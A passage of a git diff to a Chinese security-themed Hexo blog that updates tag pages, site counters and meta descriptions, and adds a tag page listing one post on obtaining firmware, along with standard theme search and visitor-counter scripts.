               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/模糊测试/index.html b/tags/模糊测试/index.html
index 60e811ef..42937801 100644
--- a/tags/模糊测试/index.html
+++ b/tags/模糊测试/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/模糊测试/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -393,7 +396,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -403,7 +406,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -414,7 +417,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -425,7 +428,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -496,7 +499,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/漏洞/index.html b/tags/漏洞/index.html
index eebb8913..9b138bc3 100644
--- a/tags/漏洞/index.html
+++ b/tags/漏洞/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/漏洞/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/破解/index.html b/tags/破解/index.html
index ce8186a4..768dd7f5 100644
--- a/tags/破解/index.html
+++ b/tags/破解/index.html
@@ -79,13 +79,16 @@
 
 
 
+<meta name="description" content="没人比我更懂中医#MAGA">
 <meta property="og:type" content="website">
 <meta property="og:title" content="混元霹雳手">
 <meta property="og:url" content="https://cool-y.github.io/tags/破解/index.html">
 <meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
 <meta property="og:locale" content="zh-Hans">
 <meta name="twitter:card" content="summary">
 <meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
 
 
 
@@ -156,7 +159,7 @@
       </a>
     </div>
       
-        <p class="site-subtitle">没人比我更懂中医#MAGA</p>
+        <p class="site-subtitle"></p>
       
   </div>
 
@@ -367,7 +370,7 @@
               <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
             
               <p class="site-author-name" itemprop="name">Cool-Y</p>
-              <p class="site-description motion-element" itemprop="description"></p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
           </div>
 
           <nav class="site-state motion-element">
@@ -377,7 +380,7 @@
               
                 <a href="/archives/">
               
-                  <span class="site-state-item-count">19</span>
+                  <span class="site-state-item-count">21</span>
                   <span class="site-state-item-name">日志</span>
                 </a>
               </div>
@@ -388,7 +391,7 @@
               
               <div class="site-state-item site-state-categories">
                 <a href="/categories/index.html">
-                  <span class="site-state-item-count">7</span>
+                  <span class="site-state-item-count">9</span>
                   <span class="site-state-item-name">分类</span>
                 </a>
               </div>
@@ -399,7 +402,7 @@
               
               <div class="site-state-item site-state-tags">
                 <a href="/tags/index.html">
-                  <span class="site-state-item-count">39</span>
+                  <span class="site-state-item-count">43</span>
                   <span class="site-state-item-name">标签</span>
                 </a>
               </div>
@@ -470,7 +473,7 @@
       <i class="fa fa-area-chart"></i>
     </span>
     
-    <span title="Site words total count">56.4k</span>
+    <span title="Site words total count">64.5k</span>
   
 </div>
 
diff --git a/tags/硬件层/index.html b/tags/硬件层/index.html
new file mode 100644
index 00000000..a20c40cf
--- /dev/null
+++ b/tags/硬件层/index.html
@@ -0,0 +1,1128 @@
+<!DOCTYPE html>
+
+
+
+  
+
+
+<html class="theme-next gemini use-motion" lang="zh-Hans">
+<head><meta name="generator" content="Hexo 3.8.0">
+  <meta charset="UTF-8">
+<meta http-equiv="X-UA-Compatible" content="IE=edge">
+<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
+<meta name="theme-color" content="#222">
+
+
+
+
+
+
+
+
+
+<meta http-equiv="Cache-Control" content="no-transform">
+<meta http-equiv="Cache-Control" content="no-siteapp">
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">
+
+
+
+
+
+
+
+<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">
+
+<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">
+
+
+  <link rel="apple-touch-icon" sizes="180x180" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="32x32" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="icon" type="image/png" sizes="16x16" href="/images/hackerrank.png?v=5.1.4">
+
+
+  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">
+
+
+
+
+
+  <meta name="keywords" content="Hexo, NexT">
+
+
+
+
+
+
+
+
+
+
+<meta name="description" content="没人比我更懂中医#MAGA">
+<meta property="og:type" content="website">
+<meta property="og:title" content="混元霹雳手">
+<meta property="og:url" content="https://cool-y.github.io/tags/硬件层/index.html">
+<meta property="og:site_name" content="混元霹雳手">
+<meta property="og:description" content="没人比我更懂中医#MAGA">
+<meta property="og:locale" content="zh-Hans">
+<meta name="twitter:card" content="summary">
+<meta name="twitter:title" content="混元霹雳手">
+<meta name="twitter:description" content="没人比我更懂中医#MAGA">
+
+
+
+<script type="text/javascript" id="hexo.configurations">
+  var NexT = window.NexT || {};
+  var CONFIG = {
+    root: '/',
+    scheme: 'Gemini',
+    version: '5.1.4',
+    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
+    fancybox: true,
+    tabs: true,
+    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
+    duoshuo: {
+      userId: '0',
+      author: '博主'
+    },
+    algolia: {
+      applicationID: '',
+      apiKey: '',
+      indexName: '',
+      hits: {"per_page":10},
+      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
+    }
+  };
+</script>
+
+
+
+  <link rel="canonical" href="https://cool-y.github.io/tags/硬件层/">
+
+
+
+
+
+  <title>标签: 硬件层 | 混元霹雳手</title>
+  
+
+
+
+
+
+
+
+
+</head>
+
+<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">
+
+  
+  
+    
+  
+
+  <div class="container sidebar-position-left ">
+    <div class="headband"></div>
+
+    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
+      <div class="header-inner"><div class="site-brand-wrapper">
+  <div class="site-meta ">
+    
+
+    <div class="custom-logo-site-title">
+      <a href="/" class="brand" rel="start">
+        <span class="logo-line-before"><i></i></span>
+        <span class="site-title">混元霹雳手</span>
+        <span class="logo-line-after"><i></i></span>
+      </a>
+    </div>
+      
+        <p class="site-subtitle"></p>
+      
+  </div>
+
+  <div class="site-nav-toggle">
+    <button>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+      <span class="btn-bar"></span>
+    </button>
+  </div>
+</div>
+
+<nav class="site-nav">
+  
+
+  
+    <ul id="menu" class="menu">
+      
+        
+        <li class="menu-item menu-item-home">
+          <a href="/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
+            
+            首页
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-about">
+          <a href="/about/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
+            
+            关于
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-tags">
+          <a href="/tags/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
+            
+            标签
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-categories">
+          <a href="/categories/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-th"></i> <br>
+            
+            分类
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-archives">
+          <a href="/archives/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
+            
+            归档
+          </a>
+        </li>
+      
+        
+        <li class="menu-item menu-item-bookmarks">
+          <a href="/bookmarks/" rel="section">
+            
+              <i class="menu-item-icon fa fa-fw fa-map"></i> <br>
+            
+            书签
+          </a>
+        </li>
+      
+
+      
+        <li class="menu-item menu-item-search">
+          
+            <a href="javascript:;" class="popup-trigger">
+          
+            
+              <i class="menu-item-icon fa fa-search fa-fw"></i> <br>
+            
+            搜索
+          </a>
+        </li>
+      
+    </ul>
+  
+
+  
+    <div class="site-search">
+      
+  <div class="popup search-popup local-search-popup">
+  <div class="local-search-header clearfix">
+    <span class="search-icon">
+      <i class="fa fa-search"></i>
+    </span>
+    <span class="popup-btn-close">
+      <i class="fa fa-times-circle"></i>
+    </span>
+    <div class="local-search-input-wrapper">
+      <input autocomplete="off" placeholder="搜索..." spellcheck="false" type="text" id="local-search-input">
+    </div>
+  </div>
+  <div id="local-search-result"></div>
+</div>
+
+
+
+    </div>
+  
+</nav>
+
+
+
+ </div>
+    </header>
+
+    <main id="main" class="main">
+      <div class="main-inner">
+        <div class="content-wrap">
+          <div id="content" class="content">
+            
+
+  
+  
+  
+  <div class="post-block tag">
+
+    <div id="posts" class="posts-collapse">
+      <div class="collection-title">
+        <h1>硬件层<small>标签</small>
+        </h1>
+      </div>
+
+      
+        
+
+  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
+    <header class="post-header">
+
+      <h2 class="post-title">
+        
+            <a class="post-title-link" href="/2019/07/24/获取固件/" itemprop="url">
+              
+                <span itemprop="name">获取固件的几种方法</span>
+              
+            </a>
+        
+      </h2>
+
+      <div class="post-meta">
+        <time class="post-time" itemprop="dateCreated" datetime="2019-07-24T11:49:28+08:00" content="2019-07-24">
+          07-24
+        </time>
+      </div>
+
+    </header>
+  </article>
+
+
+      
+    </div>
+
+  </div>
+  
+  
+  
+
+  
+
+
+          </div>
+          
+
+
+          
+
+        </div>
+        
+          
+  
+  <div class="sidebar-toggle">
+    <div class="sidebar-toggle-line-wrap">
+      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
+      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
+    </div>
+  </div>
+
+  <aside id="sidebar" class="sidebar">
+    
+    <div class="sidebar-inner">
+
+      
+
+      
+
+      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
+        <div class="site-overview">
+          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
+            
+              <img class="site-author-image" itemprop="image" src="/images/avatar.png" alt="Cool-Y">
+            
+              <p class="site-author-name" itemprop="name">Cool-Y</p>
+              <p class="site-description motion-element" itemprop="description">没人比我更懂中医#MAGA</p>
+          </div>
+
+          <nav class="site-state motion-element">
+
+            
+              <div class="site-state-item site-state-posts">
+              
+                <a href="/archives/">
+              
+                  <span class="site-state-item-count">21</span>
+                  <span class="site-state-item-name">日志</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-categories">
+                <a href="/categories/index.html">
+                  <span class="site-state-item-count">9</span>
+                  <span class="site-state-item-name">分类</span>
+                </a>
+              </div>
+            
+
+            
+              
+              
+              <div class="site-state-item site-state-tags">
+                <a href="/tags/index.html">
+                  <span class="site-state-item-count">43</span>
+                  <span class="site-state-item-name">标签</span>
+                </a>
+              </div>
+            
+
+          </nav>
+
+          
+
+          
+            <div class="links-of-author motion-element">
+                
+                  <span class="links-of-author-item">
+                    <a href="https://github.com/Cool-Y" target="_blank" title="GitHub">
+                      
+                        <i class="fa fa-fw fa-github"></i>GitHub</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="mailto:cool.yim@whu.edu.cn" target="_blank" title="E-Mail">
+                      
+                        <i class="fa fa-fw fa-envelope"></i>E-Mail</a>
+                  </span>
+                
+                  <span class="links-of-author-item">
+                    <a href="https://www.instagram.com/yan__han/" target="_blank" title="Instagram">
+                      
+                        <i class="fa fa-fw fa-instagram"></i>Instagram</a>
+                  </span>
+                
+            </div>
+          
+
+          
+          
+
+          
+          
+
+          
+
+        </div>
+      </section>
+
+      
+
+      
+
+    </div>
+  </aside>
+
+
+        
+      </div>
+    </main>
+
+    <footer id="footer" class="footer">
+      <div class="footer-inner">
+        <div class="copyright">&copy; <span itemprop="copyrightYear">2019</span>
+  <span class="with-love">
+    <i class="fa fa-user"></i>
+  </span>
+  <span class="author" itemprop="copyrightHolder">Cool-Y</span>
+
+  
+    <span class="post-meta-divider">|</span>
+    <span class="post-meta-item-icon">
+      <i class="fa fa-area-chart"></i>
+    </span>
+    
+    <span title="Site words total count">64.5k</span>
+  
+</div>
+
+
+  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>
+
+
+
+
+
+
+
+
+        
+<div class="busuanzi-count">
+    <script async src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
+
+  
+    <span class="site-uv">
+      <i class="fa fa-user"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_uv"></span>
+      
+    </span>
+  
+
+  
+    <span class="site-pv">
+      <i class="fa fa-eye"></i>
+      <span class="busuanzi-value" id="busuanzi_value_site_pv"></span>
+      
+    </span>
+  
+</div>
+
+
+
+
+
+
+
+
+        
+      </div>
+    </footer>
+
+    
+      <div class="back-to-top">
+        <i class="fa fa-arrow-up"></i>
+        
+      </div>
+    
+
+    
+
+  </div>
+
+  
+
+<script type="text/javascript">
+  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
+    window.Promise = null;
+  }
+</script>
+
+
+
+
+
+
+
+
+
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
+  
+
+  
+  
+    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
+  
+
+
+  
+
+
+  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>
+
+
+
+  
+  
+
+
+  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>
+
+  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>
+
+
+
+  
+
+  
+
+
+  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>
+
+
+
+  
+
+
+  
+
+
+
+
+	
+
+
+
+
+
+  
+
+
+
+
+
+  
+
+
+
+
+
+
+
+<!-- LOCAL: You can save these files to your site and update links -->
+    
+        
+        <link rel="stylesheet" href="https://jjeejj.github.io/css/gitment.css">
+        <script src="https://jjeejj.github.io/js/gitment.js"></script>
+    
+<!-- END LOCAL -->
+
+    
+
+    
+
+
+
+
+
+
+
+  
+
+  <script type="text/javascript">
+    // Popup Window;
+    var isfetched = false;
+    var isXml = true;
+    // Search DB path;
+    var search_path = "search.xml";
+    if (search_path.length === 0) {
+      search_path = "search.xml";
+    } else if (/json$/i.test(search_path)) {
+      isXml = false;
+    }
+    var path = "/" + search_path;
+    // monitor main search box;
+
+    var onPopupClose = function (e) {
+      $('.popup').hide();
+      $('#local-search-input').val('');
+      $('.search-result-list').remove();
+      $('#no-result').remove();
+      $(".local-search-pop-overlay").remove();
+      $('body').css('overflow', '');
+    }
+
+    function proceedsearch() {
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
+        .css('overflow', 'hidden');
+      $('.search-popup-overlay').click(onPopupClose);
+      $('.popup').toggle();
+      var $localSearchInput = $('#local-search-input');
+      $localSearchInput.attr("autocapitalize", "none");
+      $localSearchInput.attr("autocorrect", "off");
+      $localSearchInput.focus();
+    }
+
+    // search function;
+    var searchFunc = function(path, search_id, content_id) {
+      'use strict';
+
+      // start loading animation
+      $("body")
+        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
+          '<div id="search-loading-icon">' +
+          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
+          '</div>' +
+          '</div>')
+        .css('overflow', 'hidden');
+      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');
+
+      $.ajax({
+        url: path,
+        dataType: isXml ? "xml" : "json",
+        async: true,
+        success: function(res) {
+          // get the contents from search data
+          isfetched = true;
+          $('.popup').detach().appendTo('.header-inner');
+          var datas = isXml ? $("entry", res).map(function() {
+            return {
+              title: $("title", this).text(),
+              content: $("content",this).text(),
+              url: $("url" , this).text()
+            };
+          }).get() : res;
+          var input = document.getElementById(search_id);
+          var resultContent = document.getElementById(content_id);
+          var inputEventFunction = function() {
+            var searchText = input.value.trim().toLowerCase();
+            var keywords = searchText.split(/[\s\-]+/);
+            if (keywords.length > 1) {
+              keywords.push(searchText);
+            }
+            var resultItems = [];
+            if (searchText.length > 0) {
+              // perform local searching
+              datas.forEach(function(data) {
+                var isMatch = false;
+                var hitCount = 0;
+                var searchTextCount = 0;
+                var title = data.title.trim();
+                var titleInLowerCase = title.toLowerCase();
+                var content = data.content.trim().replace(/<[^>]+>/g,"");
+                var contentInLowerCase = content.toLowerCase();
+                var articleUrl = decodeURIComponent(data.url);
+                var indexOfTitle = [];
+                var indexOfContent = [];
+                // only match articles with not empty titles
+                if(title != '') {
+                  keywords.forEach(function(keyword) {
+                    function getIndexByWord(word, text, caseSensitive) {
+                      var wordLen = word.length;
+                      if (wordLen === 0) {
+                        return [];
+                      }
+                      var startPosition = 0, position = [], index = [];
+                      if (!caseSensitive) {
+                        text = text.toLowerCase();
+                        word = word.toLowerCase();
+                      }
+                      while ((position = text.indexOf(word, startPosition)) > -1) {
+                        index.push({position: position, word: word});
+                        startPosition = position + wordLen;
+                      }
+                      return index;
+                    }
+
+                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
+                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
+                  });
+                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
+                    isMatch = true;
+                    hitCount = indexOfTitle.length + indexOfContent.length;
+                  }
+                }
+
+                // show search results
+
+                if (isMatch) {
+                  // sort index by position of keyword
+
+                  [indexOfTitle, indexOfContent].forEach(function (index) {
+                    index.sort(function (itemLeft, itemRight) {
+                      if (itemRight.position !== itemLeft.position) {
+                        return itemRight.position - itemLeft.position;
+                      } else {
+                        return itemLeft.word.length - itemRight.word.length;
+                      }
+                    });
+                  });
+
+                  // merge hits into slices
+
+                  function mergeIntoSlice(text, start, end, index) {
+                    var item = index[index.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    var hits = [];
+                    var searchTextCountInSlice = 0;
+                    while (position + word.length <= end && index.length != 0) {
+                      if (word === searchText) {
+                        searchTextCountInSlice++;
+                      }
+                      hits.push({position: position, length: word.length});
+                      var wordEnd = position + word.length;
+
+                      // move to next position of hit
+
+                      index.pop();
+                      while (index.length != 0) {
+                        item = index[index.length - 1];
+                        position = item.position;
+                        word = item.word;
+                        if (wordEnd > position) {
+                          index.pop();
+                        } else {
+                          break;
+                        }
+                      }
+                    }
+                    searchTextCount += searchTextCountInSlice;
+                    return {
+                      hits: hits,
+                      start: start,
+                      end: end,
+                      searchTextCount: searchTextCountInSlice
+                    };
+                  }
+
+                  var slicesOfTitle = [];
+                  if (indexOfTitle.length != 0) {
+                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
+                  }
+
+                  var slicesOfContent = [];
+                  while (indexOfContent.length != 0) {
+                    var item = indexOfContent[indexOfContent.length - 1];
+                    var position = item.position;
+                    var word = item.word;
+                    // cut out 100 characters
+                    var start = position - 20;
+                    var end = position + 80;
+                    if(start < 0){
+                      start = 0;
+                    }
+                    if (end < position + word.length) {
+                      end = position + word.length;
+                    }
+                    if(end > content.length){
+                      end = content.length;
+                    }
+                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
+                  }
+
+                  // sort slices in content by search text's count and hits' count
+
+                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
+                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
+                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
+                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
+                      return sliceRight.hits.length - sliceLeft.hits.length;
+                    } else {
+                      return sliceLeft.start - sliceRight.start;
+                    }
+                  });
+
+                  // select top N slices in content
+
+                  var upperBound = parseInt('1');
+                  if (upperBound >= 0) {
+                    slicesOfContent = slicesOfContent.slice(0, upperBound);
+                  }
+
+                  // highlight title and content
+
+                  function highlightKeyword(text, slice) {
+                    var result = '';
+                    var prevEnd = slice.start;
+                    slice.hits.forEach(function (hit) {
+                      result += text.substring(prevEnd, hit.position);
+                      var end = hit.position + hit.length;
+                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
+                      prevEnd = end;
+                    });
+                    result += text.substring(prevEnd, slice.end);
+                    return result;
+                  }
+
+                  var resultItem = '';
+
+                  if (slicesOfTitle.length != 0) {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
+                  } else {
+                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
+                  }
+
+                  slicesOfContent.forEach(function (slice) {
+                    resultItem += "<a href='" + articleUrl + "'>" +
+                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
+                      "...</p>" + "</a>";
+                  });
+
+                  resultItem += "</li>";
+                  resultItems.push({
+                    item: resultItem,
+                    searchTextCount: searchTextCount,
+                    hitCount: hitCount,
+                    id: resultItems.length
+                  });
+                }
+              })
+            };
+            if (keywords.length === 1 && keywords[0] === "") {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
+            } else if (resultItems.length === 0) {
+              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
+            } else {
+              resultItems.sort(function (resultLeft, resultRight) {
+                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
+                  return resultRight.searchTextCount - resultLeft.searchTextCount;
+                } else if (resultLeft.hitCount !== resultRight.hitCount) {
+                  return resultRight.hitCount - resultLeft.hitCount;
+                } else {
+                  return resultRight.id - resultLeft.id;
+                }
+              });
+              var searchResultList = '<ul class=\"search-result-list\">';
+              resultItems.forEach(function (result) {
+                searchResultList += result.item;
+              })
+              searchResultList += "</ul>";
+              resultContent.innerHTML = searchResultList;
+            }
+          }
+
+          if ('auto' === 'auto') {
+            input.addEventListener('input', inputEventFunction);
+          } else {
+            $('.search-icon').click(inputEventFunction);
+            input.addEventListener('keypress', function (event) {
+              if (event.keyCode === 13) {
+                inputEventFunction();
+              }
+            });
+          }
+
+          // remove loading animation
+          $(".local-search-pop-overlay").remove();
+          $('body').css('overflow', '');
+
+          proceedsearch();
+        }
+      });
+    }
+
+    // handle and trigger popup window;
+    $('.popup-trigger').click(function(e) {
+      e.stopPropagation();
+      if (isfetched === false) {
+        searchFunc(path, 'local-search-input', 'local-search-result');
+      } else {
+        proceedsearch();
+      };
+    });
+
+    $('.popup-btn-close').click(onPopupClose);
+    $('.popup').click(function(e){
+      e.stopPropagation();
+    });
+    $(document).on('keyup', function (event) {
+      var shouldDismissSearchPopup = event.which === 27 &&
+        $('.search-popup').is(':visible');
+      if (shouldDismissSearchPopup) {
+        onPopupClose();
+      }
+    });
+  </script>
+
+
+
+
+
+  
+
+  
+  <script src="https://cdn1.lncld.net/static/js/av-core-mini-0.6.4.js"></script>
+  <script>AV.initialize("EWwoJgHNdlj6iBjiFlMcabUO-gzGzoHsz", "x8FxDrYG79C8YFrTww9ljo8K");</script>
+  <script>
+    function showTime(Counter) {
+      var query = new AV.Query(Counter);
+      var entries = [];
+      var $visitors = $(".leancloud_visitors");
+
+      $visitors.each(function () {
+        entries.push( $(this).attr("id").trim() );
+      });
+
+      query.containedIn('url', entries);
+      query.find()
+        .done(function (results) {
+          var COUNT_CONTAINER_REF = '.leancloud-visitors-count';
+
+          if (results.length === 0) {
+            $visitors.find(COUNT_CONTAINER_REF).text(0);
+            return;
+          }
+
+          for (var i = 0; i < results.length; i++) {
+            var item = results[i];
+            var url = item.get('url');
+            var time = item.get('time');
+            var element = document.getElementById(url);
+
+            $(element).find(COUNT_CONTAINER_REF).text(time);
+          }
+          for(var i = 0; i < entries.length; i++) {
+            var url = entries[i];
+            var element = document.getElementById(url);
+            var countSpan = $(element).find(COUNT_CONTAINER_REF);
+            if( countSpan.text() == '') {
+              countSpan.text(0);
+            }
+          }
+        })
+        .fail(function (object, error) {
+          console.log("Error: " + error.code + " " + error.message);
+        });
+    }
+
+    function addCount(Counter) {
+      var $visitors = $(".leancloud_visitors");
+      var url = $visitors.attr('id').trim();
+      var title = $visitors.attr('data-flag-title').trim();
+      var query = new AV.Query(Counter);
+
+      query.equalTo("url", url);
+      query.find({
+        success: function(results) {
+          if (results.length > 0) {
+            var counter = results[0];
+            counter.fetchWhenSave(true);
+            counter.increment("time");
+            counter.save(null, {
+              success: function(counter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(counter.get('time'));
+              },
+              error: function(counter, error) {
+                console.log('Failed to save Visitor num, with error message: ' + error.message);
+              }
+            });
+          } else {
+            var newcounter = new Counter();
+            /* Set ACL */
+            var acl = new AV.ACL();
+            acl.setPublicReadAccess(true);
+            acl.setPublicWriteAccess(true);
+            newcounter.setACL(acl);
+            /* End Set ACL */
+            newcounter.set("title", title);
+            newcounter.set("url", url);
+            newcounter.set("time", 1);
+            newcounter.save(null, {
+              success: function(newcounter) {
+                var $element = $(document.getElementById(url));
+                $element.find('.leancloud-visitors-count').text(newcounter.get('time'));
+              },
+              error: function(newcounter, error) {
+                console.log('Failed to create');
+              }
+            });
+          }
+        },
+        error: function(error) {
+          console.log('Error:' + error.code + " " + error.message);
+        }
+      });
+    }
+
+    $(function() {
+      var Counter = AV.Object.extend("Counter");
+      if ($('.leancloud_visitors').length == 1) {
+        addCount(Counter);
+      } else if ($('.post-title-link').length > 1) {
+        showTime(Counter);
